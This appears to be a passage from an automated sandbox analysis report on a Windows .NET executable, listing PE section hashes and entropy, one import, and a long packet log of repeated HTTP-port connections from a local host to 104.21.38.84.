IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1913d4	0x191400	21c0013fcb9ed544b35d0f8fffa306de	False	0.7415486273364486	data	7.426701730664169	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x194000	0x320	0x400	e0748b20a05557a13a918a6fee0b0e37	False	0.3515625	data	2.6517752881589467	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x196000	0xc	0x200	6838880110f09a8bf035277bed42dc31	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x194058	0x2c8	data			0.46207865168539325

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 15:17:05.869481087 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:05.874268055 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:05.874347925 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:05.874711037 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:05.879523993 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.234533072 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.239393950 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.327744007 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.374519110 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.604715109 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.604732037 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.604785919 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.634747982 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.639591932 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.730638027 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.730813026 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.735599995 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.928845882 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.933752060 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:06.933832884 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.936528921 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:06.941358089 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.007643938 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.029824972 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.034626961 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.125478029 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.125691891 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.130502939 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.130619049 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.282634974 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.287477970 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.383074045 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.407135010 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.446518898 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.452528954 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.773514986 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.827519894 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.895900965 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.897933006 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.898422956 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.900765896 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.900829077 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.900996923 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.902956963 CET	80	49730	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.903001070 CET	49730	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.903397083 CET	80	49731	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:07.903439999 CET	49731	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:07.905749083 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.249485970 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.254336119 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.344696999 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.390149117 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.596822023 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.598562002 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.603696108 CET	80	49732	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.603758097 CET	49732	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.719696045 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.724582911 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:08.724661112 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.724733114 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:08.729533911 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.077676058 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.082701921 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.174355030 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.218161106 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.439905882 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.483786106 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.559493065 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.560292006 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.564642906 CET	80	49733	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.564702034 CET	49733	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.565090895 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.565154076 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.565270901 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.570069075 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:09.921428919 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:09.926215887 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.024434090 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.077594995 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.298904896 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.343168020 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.418298960 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.418986082 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.423468113 CET	80	49734	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.423536062 CET	49734	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.423818111 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.423906088 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.423984051 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.428710938 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.780858994 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:10.785809040 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.897026062 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:10.952502012 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.161012888 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.202527046 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.278058052 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.278837919 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.283201933 CET	80	49735	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.283292055 CET	49735	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.283662081 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.283736944 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.283847094 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.288657904 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.640131950 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:11.645031929 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.760149002 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:11.811896086 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.023900986 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.077505112 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.263864994 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.264805079 CET	49737	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.269021034 CET	80	49736	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.269068956 CET	49736	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.269607067 CET	80	49737	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.269664049 CET	49737	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.269840956 CET	49737	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.274641991 CET	80	49737	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.444402933 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.449306965 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.449388027 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.449498892 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.450273991 CET	49737	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.454238892 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.501450062 CET	80	49737	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.574937105 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.579806089 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.579910994 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.579992056 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.584796906 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.660196066 CET	80	49737	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.660286903 CET	49737	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.796576023 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.801491976 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.801573992 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.907196999 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.936981916 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:12.941766024 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:12.952505112 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.038554907 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.093126059 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.169482946 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.218115091 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.290865898 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.343111992 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.425725937 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.425921917 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.426978111 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.430798054 CET	80	49739	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.430860043 CET	49739	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.431174994 CET	80	49738	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.431232929 CET	49738	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.431797028 CET	80	49740	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.431860924 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.431957960 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.436726093 CET	80	49740	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.780952930 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:13.785775900 CET	80	49740	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.875117064 CET	80	49740	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:13.921241045 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.127724886 CET	80	49740	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:14.171268940 CET	49740	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.247029066 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.251893044 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:14.252608061 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.252717972 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.257457972 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:14.628032923 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.632891893 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:14.716491938 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:14.765001059 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:14.975822926 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.030605078 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.103756905 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.104460001 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.108828068 CET	80	49742	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.108880997 CET	49742	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.109277010 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.109337091 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.109467030 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.114212036 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.468194962 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.473067999 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.581515074 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.624380112 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.784713984 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.827475071 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.905586004 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.910496950 CET	80	49744	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.910571098 CET	49744	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.919042110 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.923892021 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:15.923995018 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.924123049 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:15.928839922 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.280730009 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.285536051 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.392101049 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.437007904 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.655066967 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.702471972 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.777182102 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.777236938 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.782058001 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.782283068 CET	80	49746	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:16.782305002 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.782330036 CET	49746	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.782437086 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:16.787184000 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.140194893 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.145026922 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.242614985 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.296220064 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.494862080 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.546238899 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.620229006 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.620897055 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.625340939 CET	80	49748	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.625402927 CET	49748	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.625715971 CET	80	49750	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.625777960 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.625876904 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.648662090 CET	80	49750	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:17.983829021 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:17.988678932 CET	80	49750	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.096894979 CET	80	49750	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.140021086 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.172569990 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.175785065 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.177392006 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.177481890 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.177567005 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.180728912 CET	80	49750	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.180782080 CET	49750	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.182318926 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.302052975 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.306922913 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.307004929 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.307260990 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.312074900 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.530692101 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.535502911 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.535650015 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.639945030 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.655647039 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.660446882 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.686965942 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.780451059 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.827488899 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:18.926186085 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:18.968108892 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.076258898 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.124362946 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.198573112 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.198575974 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.199234009 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.203572035 CET	80	49753	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.203881979 CET	80	49752	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.203937054 CET	49753	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.203950882 CET	49752	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.204014063 CET	80	49754	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.204536915 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.204653025 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.209413052 CET	80	49754	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.561912060 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.566776991 CET	80	49754	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.648847103 CET	80	49754	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.702482939 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.824585915 CET	80	49754	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.874337912 CET	49754	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.950965881 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.955780029 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:19.955853939 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.955943108 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:19.960684061 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.314697027 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.319518089 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.619142056 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.625602007 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.625674009 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.662494898 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.662570953 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.777115107 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.777755976 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.782077074 CET	80	49755	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.782147884 CET	49755	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.782558918 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:20.782623053 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.782752991 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:20.787518978 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.140109062 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.145427942 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.226649046 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.280575037 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.497968912 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.546197891 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.620609045 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.621150970 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.625658989 CET	80	49756	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.625971079 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.626024961 CET	49756	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.626060009 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.626216888 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.630987883 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:21.983980894 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:21.988884926 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.100419998 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.155594110 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.354752064 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.405726910 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.480850935 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.481388092 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.485857964 CET	80	49757	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.485949993 CET	49757	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.486150980 CET	80	49758	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.486260891 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.486349106 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.491074085 CET	80	49758	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.844789028 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:22.849612951 CET	80	49758	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.943802118 CET	80	49758	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:22.999471903 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.211091042 CET	80	49758	104.21.38.84	192.168.2.4
Jan 1, 2025 15:17:23.264935017 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.324079037 CET	49758	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.324876070 CET	49759	80	192.168.2.4	104.21.38.84
Jan 1, 2025 15:17:23.329206944 CET	80	49758	104.21.38.84	192.168.2.4
